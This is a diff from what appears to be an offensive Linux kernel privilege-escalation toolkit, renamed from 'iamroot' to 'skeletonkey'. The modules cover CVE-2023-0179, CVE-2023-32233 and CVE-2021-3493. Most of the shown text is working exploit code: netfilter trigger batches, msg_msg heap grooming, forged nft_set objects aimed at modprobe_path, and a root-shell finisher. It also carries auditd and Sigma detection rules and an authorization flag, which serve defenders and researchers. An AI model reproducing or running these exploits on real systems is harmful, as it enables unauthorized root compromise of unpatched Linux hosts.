/* --- --full-chain path: resolve offsets in parent before doing
* anything destructive. */
if (ctx->full_chain) {
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("nft_payload");
return IAMROOT_EXPLOIT_FAIL;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("nft_payload");
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nft_payload: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
NETLINK_NETFILTER);
if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
@@ -887,7 +887,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
}
uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
uint32_t seq = (uint32_t)time(NULL);
size_t blen = build_trigger_batch(batch, 16 * 1024, &seq,
@@ -901,7 +901,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
drain_queues(qids_small, SPRAY_QUEUES_SMALL);
drain_queues(qids_large, SPRAY_QUEUES_LARGE);
free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct nft_payload_arb_ctx ac = {
@@ -917,10 +917,10 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
.arb_calls = 0,
};
iamroot_result_t r = iamroot_finisher_modprobe_path(
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(
&off, nft_payload_arb_write, &ac, !ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-nft_payload.log", "a");
FILE *fl = fopen("/tmp/skeletonkey-nft_payload.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d "
"spray_small=%d spray_large=%d\n",
@@ -936,9 +936,9 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
}
/* --- primitive-only path: fork-isolated trigger so a kernel oops
* doesn't take down the iamroot driver. */
* doesn't take down the skeletonkey driver. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* --- CHILD --- */
@@ -1016,7 +1016,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
pre_96, post_96);
}
FILE *log = fopen("/tmp/iamroot-nft_payload.log", "w");
FILE *log = fopen("/tmp/skeletonkey-nft_payload.log", "w");
if (log) {
fprintf(log,
"nft_payload trigger child: spray_small=%d spray_large=%d "
@@ -1048,7 +1048,7 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
"likely fired (KASAN/oops can manifest as child "
"signal)\n", WTERMSIG(status));
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -1061,19 +1061,19 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
" Davide Ornaghi's payload-set + regs->data\n"
" arb-write + modprobe_path overwrite chain.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc >= 20 && rc <= 24) {
if (!ctx->json) {
fprintf(stderr, "[-] nft_payload: trigger setup failed (child rc=%d)\n",
rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[-] nft_payload: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
#endif /* __linux__ */
}
@@ -1081,15 +1081,15 @@ static iamroot_result_t nft_payload_exploit(const struct iamroot_ctx *ctx)
* Cleanup.
* ------------------------------------------------------------------ */
static iamroot_result_t nft_payload_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_payload_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] nft_payload: tearing down log\n");
}
if (unlink("/tmp/iamroot-nft_payload.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-nft_payload.log") < 0 && errno != ENOENT) {
/* ignore */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ------------------------------------------------------------------
@@ -1101,16 +1101,16 @@ static const char nft_payload_auditd[] =
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by NETLINK_NETFILTER\n"
"# socket setup. Canonical exploit shape: unprivileged userns + nft\n"
"# rule loading. False positives: firewalld, docker/podman rootless.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft-payload-userns\n"
"-a always,exit -F arch=b32 -S unshare -k iamroot-nft-payload-userns\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-payload-userns\n"
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nft-payload-userns\n"
"# Watch for the canonical post-exploit primitive: setresuid(0,0,0)\n"
"# from a previously-unpriv task is the smoking gun for any kernel LPE.\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 "
"-k iamroot-nft-payload-priv\n";
"-k skeletonkey-nft-payload-priv\n";
static const char nft_payload_sigma[] =
"title: Possible CVE-2023-0179 nft_payload regset-OOB exploitation\n"
"id: c83d6e92-iamroot-nft-payload\n"
"id: c83d6e92-skeletonkey-nft-payload\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape for CVE-2023-0179: an\n"
@@ -1134,7 +1134,7 @@ static const char nft_payload_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0179]\n";
const struct iamroot_module nft_payload_module = {
const struct skeletonkey_module nft_payload_module = {
.name = "nft_payload",
.cve = "CVE-2023-0179",
.summary = "nft_payload set-id regset OOB R/W (Davide Ornaghi) → kernel R/W",
@@ -1151,7 +1151,7 @@ const struct iamroot_module nft_payload_module = {
.detect_falco = NULL,
};
void iamroot_register_nft_payload(void)
void skeletonkey_register_nft_payload(void)
{
iamroot_register(&nft_payload_module);
skeletonkey_register(&nft_payload_module);
}
@@ -0,0 +1,12 @@
/*
* nft_payload_cve_2023_0179 — SKELETONKEY module registry hook
*/
#ifndef NFT_PAYLOAD_SKELETONKEY_MODULES_H
#define NFT_PAYLOAD_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nft_payload_module;
#endif
+2 -2
View File
@@ -20,12 +20,12 @@ Upstream fix: mainline 6.4-rc4 (commit `c1592a89942e9`, May 2023).
Branch backports: 6.3.2 / 6.2.15 / 6.1.28 / 5.15.111 / 5.10.180 /
5.4.243 / 4.19.283.
## IAMROOT role
## SKELETONKEY role
Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN (base, LOCAL_OUT
hook) → NEWSET (ANON|EVAL|CONSTANT) → NEWRULE (nft_lookup
referencing the set by `NFTA_LOOKUP_SET_ID`) → DELSET → DELRULE
in the same transaction. msg_msg cg-512 spray with `IAMROOT_SET`
in the same transaction. msg_msg cg-512 spray with `SKELETONKEY_SET`
tags.
`--full-chain` forges a freed-set with `set->data = kaddr` at the
@@ -1,12 +0,0 @@
/*
* nft_set_uaf_cve_2023_32233 — IAMROOT module registry hook
*/
#ifndef NFT_SET_UAF_IAMROOT_MODULES_H
#define NFT_SET_UAF_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nft_set_uaf_module;
#endif
@@ -1,5 +1,5 @@
/*
* nft_set_uaf_cve_2023_32233 IAMROOT module
* nft_set_uaf_cve_2023_32233 SKELETONKEY module
*
* nf_tables anonymous-set UAF (Sondej + Krysiuk, May 2023). When an
* anonymous `nft_set` referenced by an `nft_lookup` expression inside a
@@ -16,11 +16,11 @@
* batch construction (table base chain anonymous set rule
* with nft_lookup DELSET DELRULE) committed in a single batch,
* msg_msg cross-cache groom for kmalloc-cg-512 (32×16 messages
* tagged "IAMROOT_SET"), slabinfo snapshot before/after, and a
* /tmp/iamroot-nft_set_uaf.log breadcrumb. Returns
* IAMROOT_EXPLOIT_FAIL after the primitive fires (honest scope).
* tagged "SKELETONKEY_SET"), slabinfo snapshot before/after, and a
* /tmp/skeletonkey-nft_set_uaf.log breadcrumb. Returns
* SKELETONKEY_EXPLOIT_FAIL after the primitive fires (honest scope).
* - With --full-chain: resolve kernel offsets; if no modprobe_path,
* refuse via iamroot_finisher_print_offset_help. Otherwise re-fire
* refuse via skeletonkey_finisher_print_offset_help. Otherwise re-fire
* the trigger and spray msg_msg payloads forging a freed-set-object
* whose data pointer points at modprobe_path, then drive
* NFT_MSG_NEWSETELEM with our payload. FALLBACK-depth: the exact
@@ -47,7 +47,7 @@
* - Crusaders-of-Rust follow-up writeup
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -142,16 +142,16 @@ static bool nf_tables_loaded(void)
}
#endif /* __linux__ */
static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_set_uaf_detect(const struct skeletonkey_ctx *ctx)
{
#ifndef __linux__
(void)ctx;
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nft_set_uaf: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.1 (anonymous-set support). Anything below
@@ -161,7 +161,7 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nft_set_uaf: kernel %s predates the bug "
"(anonymous-set support landed in 5.1)\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nft_set_uaf_range, &v);
@@ -169,7 +169,7 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -193,14 +193,14 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nft_set_uaf: still patch the kernel — a root "
"attacker can still trigger the bug\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] nft_set_uaf: VULNERABLE — kernel in range AND "
"user_ns clone allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
#endif
}
@@ -317,8 +317,8 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* Ruleset: anonymous-set UAF trigger.
*
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
* 2. NFT_MSG_NEWTABLE "iamroot_t" inet
* 3. NFT_MSG_NEWCHAIN "iamroot_c" base, NF_INET_LOCAL_OUT hook
* 2. NFT_MSG_NEWTABLE "skeletonkey_t" inet
* 3. NFT_MSG_NEWCHAIN "skeletonkey_c" base, NF_INET_LOCAL_OUT hook
* 4. NFT_MSG_NEWSET anonymous flags = ANONYMOUS|CONSTANT|EVAL
* 5. NFT_MSG_NEWRULE nft_lookup references the anonymous set
* 6. NFT_MSG_DELSET delete the set in the same batch
@@ -331,13 +331,13 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* UAF on commit-time set cleanup.
* ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_t";
static const char NFT_CHAIN_NAME[] = "iamroot_c";
static const char NFT_SET_NAME[] = "iamroot_s"; /* fixed-name placeholder;
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
static const char NFT_SET_NAME[] = "skeletonkey_s"; /* fixed-name placeholder;
* anonymous flag still set */
static const char NFT_RULE_HANDLE_ATTR[] = "iamroot_r";
static const char NFT_RULE_HANDLE_ATTR[] = "skeletonkey_r";
#define IAMROOT_SET_ID 0x42424242
#define SKELETONKEY_SET_ID 0x42424242
static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq)
{
@@ -407,14 +407,14 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
NFT_SET_ANONYMOUS | NFT_SET_CONSTANT | NFT_SET_EVAL);
put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 0); /* "integer" */
put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t));
put_attr_u32(buf, off, NFTA_SET_ID, IAMROOT_SET_ID);
put_attr_u32(buf, off, NFTA_SET_ID, SKELETONKEY_SET_ID);
end_msg(buf, off, at);
}
/* NFT_MSG_NEWRULE: a single nft_lookup expression that references the
* anonymous set. The expression list contains one NFTA_LIST_ELEM whose
* NFTA_EXPR_NAME = "lookup" and NFTA_EXPR_DATA.{ NFTA_LOOKUP_SREG=1,
* NFTA_LOOKUP_SET_ID=IAMROOT_SET_ID }.
* NFTA_LOOKUP_SET_ID=SKELETONKEY_SET_ID }.
*/
static void put_new_rule_with_lookup(uint8_t *buf, size_t *off, uint32_t seq)
{
@@ -432,7 +432,7 @@ static void put_new_rule_with_lookup(uint8_t *buf, size_t *off, uint32_t seq)
/* lookup expr attrs: source register, target set (by ID), no flags */
put_attr_u32(buf, off, NFTA_LOOKUP_SREG, 1 /* NFT_REG_1 */);
put_attr_str(buf, off, NFTA_LOOKUP_SET, NFT_SET_NAME);
put_attr_u32(buf, off, NFTA_LOOKUP_SET_ID, IAMROOT_SET_ID);
put_attr_u32(buf, off, NFTA_LOOKUP_SET_ID, SKELETONKEY_SET_ID);
end_nest(buf, off, edata_at);
end_nest(buf, off, el_at);
end_nest(buf, off, exprs_at);
@@ -510,13 +510,13 @@ static int nft_send_batch(int sock, const void *buf, size_t len)
* The freed nft_set object lives in kmalloc-cg-512 on lts-6.1.x and
* 6.2.x builds (nft_set is ~448 bytes incl. ops vtable pointer +
* pcpu data, rounds to cg-512). We spray 32 queues × 16 messages
* tagged with the "IAMROOT_SET" prefix so KASAN/triage can correlate.
* tagged with the "SKELETONKEY_SET" prefix so KASAN/triage can correlate.
* ------------------------------------------------------------------ */
#define SPRAY_QUEUES 32
#define SPRAY_MSGS_PER_QUEUE 16
#define MSG_PAYLOAD_BYTES 496 /* 512 - sizeof(msg_msg hdr ~= 16) */
#define IAMROOT_TAG "IAMROOT_SET"
#define SKELETONKEY_TAG "SKELETONKEY_SET"
struct ipc_payload {
long mtype;
@@ -530,7 +530,7 @@ static int spray_msg_msg(int queues[SPRAY_QUEUES])
p.mtype = 0x53; /* 'S' for "set" */
memset(p.buf, 0x53, sizeof p.buf);
/* recognizable cookie at the head of every message */
memcpy(p.buf, IAMROOT_TAG, sizeof IAMROOT_TAG - 1);
memcpy(p.buf, SKELETONKEY_TAG, sizeof SKELETONKEY_TAG - 1);
int created = 0;
for (int i = 0; i < SPRAY_QUEUES; i++) {
@@ -604,14 +604,14 @@ static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
static void log_breadcrumb(long before, long after, int sprayed)
{
FILE *f = fopen("/tmp/iamroot-nft_set_uaf.log", "a");
FILE *f = fopen("/tmp/skeletonkey-nft_set_uaf.log", "a");
if (!f) return;
time_t now = time(NULL);
char ts[64];
strftime(ts, sizeof ts, "%Y-%m-%dT%H:%M:%SZ", gmtime(&now));
fprintf(f, "%s nft_set_uaf primitive fired: cg512 active %ld→%ld; "
"msg_msg sprayed=%d tag=%s\n",
ts, before, after, sprayed, IAMROOT_TAG);
ts, before, after, sprayed, SKELETONKEY_TAG);
fclose(f);
}
@@ -631,7 +631,7 @@ static void log_breadcrumb(long before, long after, int sprayed)
* - the freed slot must be claimed by our spray, not by an
* unrelated kernel allocator race-dependent
* - the finisher's sentinel post-check is the source of truth;
* missed writes return IAMROOT_EXPLOIT_FAIL, not fake success
* missed writes return SKELETONKEY_EXPLOIT_FAIL, not fake success
* ------------------------------------------------------------------ */
/* Offset of `data` pointer in nft_set header on lts-6.1.x/6.2.x builds
@@ -659,7 +659,7 @@ static int spray_forged_set_msgs(struct nft_arb_ctx *c, uintptr_t kaddr, int n)
struct ipc_payload m;
memset(&m, 0, sizeof m);
m.mtype = 0x5345544146; /* "FATESF" reversed tag */
memcpy(m.buf, IAMROOT_TAG "_FORGE", sizeof IAMROOT_TAG + 5);
memcpy(m.buf, SKELETONKEY_TAG "_FORGE", sizeof SKELETONKEY_TAG + 5);
/* Forge `set->data = kaddr` at the documented offset. msg_msg
* eats ~0x30 bytes at the head as its own header; the payload
@@ -756,21 +756,21 @@ static int nft_set_uaf_arb_write(uintptr_t kaddr, const void *buf, size_t len,
* Exploit body
* ------------------------------------------------------------------ */
static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_set_uaf_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] nft_set_uaf: refusing without --i-know gate\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (geteuid() == 0) {
if (!ctx->json)
fprintf(stderr, "[i] nft_set_uaf: already running as root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Re-confirm vulnerability. */
iamroot_result_t pre = nft_set_uaf_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = nft_set_uaf_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nft_set_uaf: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -778,7 +778,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
#ifndef __linux__
(void)ctx;
fprintf(stderr, "[-] nft_set_uaf: non-Linux host — exploit unavailable\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
if (!ctx->json) {
if (ctx->full_chain) {
@@ -795,34 +795,34 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
/* --- --full-chain path: in-process (no fork) so the finisher's
* modprobe_path trigger shares our userns+netns+sock. */
if (ctx->full_chain) {
struct iamroot_kernel_offsets koff;
iamroot_offsets_resolve(&koff);
if (!iamroot_offsets_have_modprobe_path(&koff)) {
iamroot_finisher_print_offset_help("nft_set_uaf");
return IAMROOT_EXPLOIT_FAIL;
struct skeletonkey_kernel_offsets koff;
skeletonkey_offsets_resolve(&koff);
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
skeletonkey_finisher_print_offset_help("nft_set_uaf");
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&koff);
skeletonkey_offsets_print(&koff);
if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nft_set_uaf: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
NETLINK_NETFILTER);
if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
}
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
struct nft_arb_ctx ac = { .sock = sock, .batch = batch, .qused = 0 };
for (int i = 0; i < SPRAY_QUEUES; i++) ac.qids[i] = -1;
@@ -837,10 +837,10 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
if (nft_send_batch(sock, batch, blen) < 0) {
fprintf(stderr, "[-] nft_set_uaf: trigger batch failed\n");
free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_result_t r = iamroot_finisher_modprobe_path(&koff,
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&koff,
nft_set_uaf_arb_write, &ac, !ctx->no_shell);
/* drain whatever queues we created during arb-writes */
@@ -852,7 +852,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
/* --- primitive-only path: fork-isolated trigger -------------- */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* --- CHILD --- */
@@ -884,7 +884,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
}
if (!ctx->json) {
fprintf(stderr, "[*] nft_set_uaf: pre-sprayed %d msg_msg queues "
"(tag=%s)\n", sprayed, IAMROOT_TAG);
"(tag=%s)\n", sprayed, SKELETONKEY_TAG);
}
/* Snapshot before. */
@@ -934,7 +934,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
"likely fired (KASAN/oops can manifest as child "
"signal)\n", WTERMSIG(status));
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -944,11 +944,11 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
" UAF induced + msg_msg spray landed in\n"
" kmalloc-cg-512. R/W chain NOT executed\n"
" (Option B scope).\n"
"[i] nft_set_uaf: see /tmp/iamroot-nft_set_uaf.log\n"
"[i] nft_set_uaf: see /tmp/skeletonkey-nft_set_uaf.log\n"
" for slab-delta breadcrumb. Pass --full-chain\n"
" to attempt modprobe_path root-pop.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc >= 20 && rc <= 25) {
@@ -956,13 +956,13 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] nft_set_uaf: trigger setup failed (child rc=%d)\n",
rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[-] nft_set_uaf: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
#endif /* __linux__ */
}
@@ -970,16 +970,16 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
* Cleanup best-effort drain
* ------------------------------------------------------------------ */
static iamroot_result_t nft_set_uaf_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_set_uaf_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
/* Best-effort breadcrumb removal. We can't drain msg queues from a
* different process (they live in a private IPC namespace anyway,
* which exited with the child). */
if (unlink("/tmp/iamroot-nft_set_uaf.log") != 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-nft_set_uaf.log") != 0 && errno != ENOENT) {
/* not fatal */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ------------------------------------------------------------------
@@ -992,18 +992,18 @@ static const char nft_set_uaf_auditd[] =
"# transactions that mix NEWSET+DELSET in the same batch. Legitimate\n"
"# nft scripts rarely DELSET an anonymous set they just created;\n"
"# tune per env for firewalld/podman noise.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft_set_uaf-userns\n"
"-a always,exit -F arch=b32 -S unshare -k iamroot-nft_set_uaf-userns\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft_set_uaf-userns\n"
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nft_set_uaf-userns\n"
"# Watch nfnetlink writes (the trigger batch goes via NETLINK_NETFILTER):\n"
"-a always,exit -F arch=b64 -S sendmsg -F a0!=0 -k iamroot-nft_set_uaf-nft\n"
"-a always,exit -F arch=b64 -S sendmsg -F a0!=0 -k skeletonkey-nft_set_uaf-nft\n"
"# msg_msg cross-cache groom: msgsnd bursts on multiple queues:\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-nft_set_uaf-msgsnd\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-nft_set_uaf-msgsnd\n"
"# Canonical post-exploit primitives:\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nft_set_uaf-priv\n";
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft_set_uaf-priv\n";
static const char nft_set_uaf_sigma[] =
"title: Possible CVE-2023-32233 nft anonymous-set UAF exploitation\n"
"id: 23233e7c-iamroot-nft-set-uaf\n"
"id: 23233e7c-skeletonkey-nft-set-uaf\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape for the nf_tables anonymous-set\n"
@@ -1034,7 +1034,7 @@ static const char nft_set_uaf_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.32233]\n";
const struct iamroot_module nft_set_uaf_module = {
const struct skeletonkey_module nft_set_uaf_module = {
.name = "nft_set_uaf",
.cve = "CVE-2023-32233",
.summary = "nf_tables anonymous-set UAF (Sondej+Krysiuk) — primitive + groom",
@@ -1050,7 +1050,7 @@ const struct iamroot_module nft_set_uaf_module = {
.detect_falco = NULL,
};
void iamroot_register_nft_set_uaf(void)
void skeletonkey_register_nft_set_uaf(void)
{
iamroot_register(&nft_set_uaf_module);
skeletonkey_register(&nft_set_uaf_module);
}
@@ -0,0 +1,12 @@
/*
* nft_set_uaf_cve_2023_32233 — SKELETONKEY module registry hook
*/
#ifndef NFT_SET_UAF_SKELETONKEY_MODULES_H
#define NFT_SET_UAF_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nft_set_uaf_module;
#endif
+1 -1
View File
@@ -14,7 +14,7 @@ Advisory: USN-4915-1 / USN-4916-1 (Canonical, April 2021).
Public PoC: vsh-style userns + overlayfs + xattr injection chain.
## IAMROOT role
## SKELETONKEY role
Detect parses `/etc/os-release` for `ID=ubuntu`, checks
`unprivileged_userns_clone` sysctl, and with `--active` performs the
@@ -1,12 +0,0 @@
/*
* overlayfs_cve_2021_3493 — IAMROOT module registry hook
*/
#ifndef OVERLAYFS_IAMROOT_MODULES_H
#define OVERLAYFS_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module overlayfs_module;
#endif
@@ -1,5 +1,5 @@
/*
* overlayfs_cve_2021_3493 IAMROOT module
* overlayfs_cve_2021_3493 SKELETONKEY module
*
* Ubuntu-flavor overlayfs lets an unprivileged user mount overlayfs
* inside a user namespace, then set file capabilities on a file in
@@ -30,12 +30,12 @@
* 1. /etc/os-release distro == ubuntu (the bug is Ubuntu-specific)
* 2. Kernel version is below the Ubuntu fix threshold for that
* release. We don't track per-release Ubuntu kernel version
* maps in IAMROOT yet; report VULNERABLE if Ubuntu kernel
* maps in SKELETONKEY yet; report VULNERABLE if Ubuntu kernel
* AND uname() version < 5.11 AND unprivileged_userns_clone=1
* AND overlayfs mountable from userns (active probe).
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -94,7 +94,7 @@ static int overlayfs_mount_probe(void)
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) _exit(2);
/* Build a minimal overlayfs in /tmp inside the child. */
char base[] = "/tmp/iamroot-ovl-XXXXXX";
char base[] = "/tmp/skeletonkey-ovl-XXXXXX";
if (!mkdtemp(base)) _exit(3);
char low[512], up[512], wd[512], mp[512];
@@ -119,12 +119,12 @@ static int overlayfs_mount_probe(void)
return WEXITSTATUS(status) == 0 ? 1 : 0;
}
static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] overlayfs: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune
@@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
